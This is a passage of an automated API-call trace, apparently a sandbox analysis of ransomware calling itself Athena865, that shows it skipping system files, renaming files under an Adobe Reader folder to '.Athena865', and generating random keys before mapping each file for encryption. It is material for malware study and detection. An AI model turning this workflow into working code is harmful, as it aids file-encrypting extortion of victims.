lpString2="adf") returned 1 [0092.544] lstrlenW (lpString="adn") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.544] lstrlenW (lpString="adp") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.544] lstrlenW (lpString="alf") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.544] lstrlenW (lpString="ask") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.544] lstrlenW (lpString="btr") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.544] lstrlenW (lpString="cat") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.544] lstrlenW (lpString="cdb") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.544] lstrlenW (lpString="ckp") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.544] lstrlenW (lpString="cma") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.544] lstrlenW (lpString="cpd") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.544] lstrlenW (lpString="dacpac") returned 6 [0092.544] lstrcmpiW (lpString1="CS.htm", lpString2="dacpac") returned -1 [0092.544] lstrlenW (lpString="dad") returned 3 [0092.544] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.544] lstrlenW (lpString="dadiagrams") returned 10 [0092.544] lstrcmpiW (lpString1="adMeCS.htm", lpString2="dadiagrams") returned -1 [0092.544] lstrlenW (lpString="daschema") returned 8 [0092.544] lstrcmpiW (lpString1="MeCS.htm", lpString2="daschema") returned 1 [0092.544] lstrlenW (lpString="db-journal") returned 10 [0092.544] lstrcmpiW (lpString1="adMeCS.htm", lpString2="db-journal") returned -1 [0092.544] lstrlenW (lpString="db-shm") returned 6 [0092.544] lstrcmpiW (lpString1="CS.htm", lpString2="db-shm") returned -1 [0092.545] lstrlenW (lpString="db-wal") returned 6 [0092.545] lstrcmpiW (lpString1="CS.htm", lpString2="db-wal") returned -1 [0092.545] lstrlenW (lpString="dbc") returned 3 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.545] lstrlenW (lpString="dbs") returned 3 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.545] lstrlenW (lpString="dbt") returned 3 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.545] lstrlenW (lpString="dbv") returned 3 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.545] lstrlenW (lpString="dbx") returned 3 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.545] lstrlenW (lpString="dcb") returned 3 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.545] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.545] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.545] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.Athena865") returned 63 [0092.545] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm.athena865"), dwFlags=0x1) returned 1 [0092.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.548] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16241) returned 1 [0092.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.549] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.549] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.549] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4280, lpName=0x0) returned 0x17c [0092.551] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4280) returned 0x100000 [0092.553] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.553] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.553] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.554] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.554] CloseHandle (hObject=0x17c) returned 1 [0092.554] CloseHandle (hObject=0x154) returned 1 [0092.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.555] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="windows") returned -1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="bootmgr") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="temp") returned -1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="pagefile.sys") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="boot") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="ids.txt") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="ntuser.dat") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="perflogs") returned 1 [0092.555] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="MSBuild") returned 1 [0092.555] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0092.555] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeCT.htm" | out: lpString1="ReadMeCT.htm") returned="ReadMeCT.htm" [0092.555] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0092.555] lstrlenW (lpString="Athena865") returned 9 [0092.555] lstrcmpiW (lpString1="dMeCT.htm", lpString2="Athena865") returned 1 [0092.555] lstrlenW (lpString=".dll") returned 4 [0092.556] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2=".dll") returned 1 [0092.556] lstrlenW (lpString=".lnk") returned 4 [0092.556] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2=".lnk") returned 1 [0092.556] lstrlenW (lpString=".ini") returned 4 [0092.556] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2=".ini") returned 1 [0092.556] lstrlenW (lpString=".sys") returned 4 [0092.556] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2=".sys") returned 1 [0092.556] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0092.556] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.Athena865") returned 63 [0092.556] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm.athena865"), dwFlags=0x1) returned 1 [0092.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.557] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16289) returned 1 [0092.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.558] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.558] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.558] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.558] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42b0, lpName=0x0) returned 0x17c [0092.560] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42b0) returned 0x100000 [0092.561] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.562] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.562] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.562] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.563] CloseHandle (hObject=0x17c) returned 1 [0092.563] CloseHandle (hObject=0x154) returned 1 [0092.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.563] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeCZE.htm", cAlternateFileName="REE3F7~1.HTM")) returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="windows") returned -1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="bootmgr") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="temp") returned -1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="pagefile.sys") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="boot") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="ids.txt") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="ntuser.dat") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="perflogs") returned 1 [0092.563] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="MSBuild") returned 1 [0092.564] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0092.564] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeCZE.htm" | out: lpString1="ReadMeCZE.htm") returned="ReadMeCZE.htm" [0092.564] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0092.564] lstrlenW (lpString="Athena865") returned 9 [0092.564] lstrcmpiW (lpString1="MeCZE.htm", lpString2="Athena865") returned 1 [0092.564] lstrlenW (lpString=".dll") returned 4 [0092.564] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2=".dll") returned 1 [0092.564] lstrlenW (lpString=".lnk") returned 4 [0092.564] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2=".lnk") returned 1 [0092.564] lstrlenW (lpString=".ini") returned 4 [0092.564] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2=".ini") returned 1 [0092.564] lstrlenW (lpString=".sys") returned 4 [0092.564] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2=".sys") returned 1 [0092.564] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0092.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.Athena865") returned 64 [0092.564] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm.athena865"), dwFlags=0x1) returned 1 [0092.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.569] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17955) returned 1 [0092.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.569] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.570] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.570] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.570] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4930, lpName=0x0) returned 0x17c [0092.572] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4930) returned 0x100000 [0092.576] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.577] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.577] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.577] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.578] CloseHandle (hObject=0x17c) returned 1 [0092.578] CloseHandle (hObject=0x154) returned 1 [0092.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.578] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeHRV.htm", cAlternateFileName="RE2D2E~1.HTM")) returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="windows") returned -1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="bootmgr") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="temp") returned -1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="pagefile.sys") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="boot") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="ids.txt") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="ntuser.dat") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="perflogs") returned 1 [0092.578] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="MSBuild") returned 1 [0092.578] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0092.579] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeHRV.htm" | out: lpString1="ReadMeHRV.htm") returned="ReadMeHRV.htm" [0092.579] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0092.579] lstrlenW (lpString="Athena865") returned 9 [0092.579] lstrcmpiW (lpString1="MeHRV.htm", lpString2="Athena865") returned 1 [0092.579] lstrlenW (lpString=".dll") returned 4 [0092.579] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2=".dll") returned 1 [0092.579] lstrlenW (lpString=".lnk") returned 4 [0092.579] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2=".lnk") returned 1 [0092.579] lstrlenW (lpString=".ini") returned 4 [0092.579] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2=".ini") returned 1 [0092.579] lstrlenW (lpString=".sys") returned 4 [0092.579] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2=".sys") returned 1 [0092.579] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0092.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.Athena865") returned 64 [0092.579] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm.athena865"), dwFlags=0x1) returned 1 [0092.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.580] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17066) returned 1 [0092.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.581] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.581] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.581] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45b0, lpName=0x0) returned 0x17c [0092.583] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45b0) returned 0x100000 [0092.584] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.585] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.585] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.586] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.586] CloseHandle (hObject=0x17c) returned 1 [0092.586] CloseHandle (hObject=0x154) returned 1 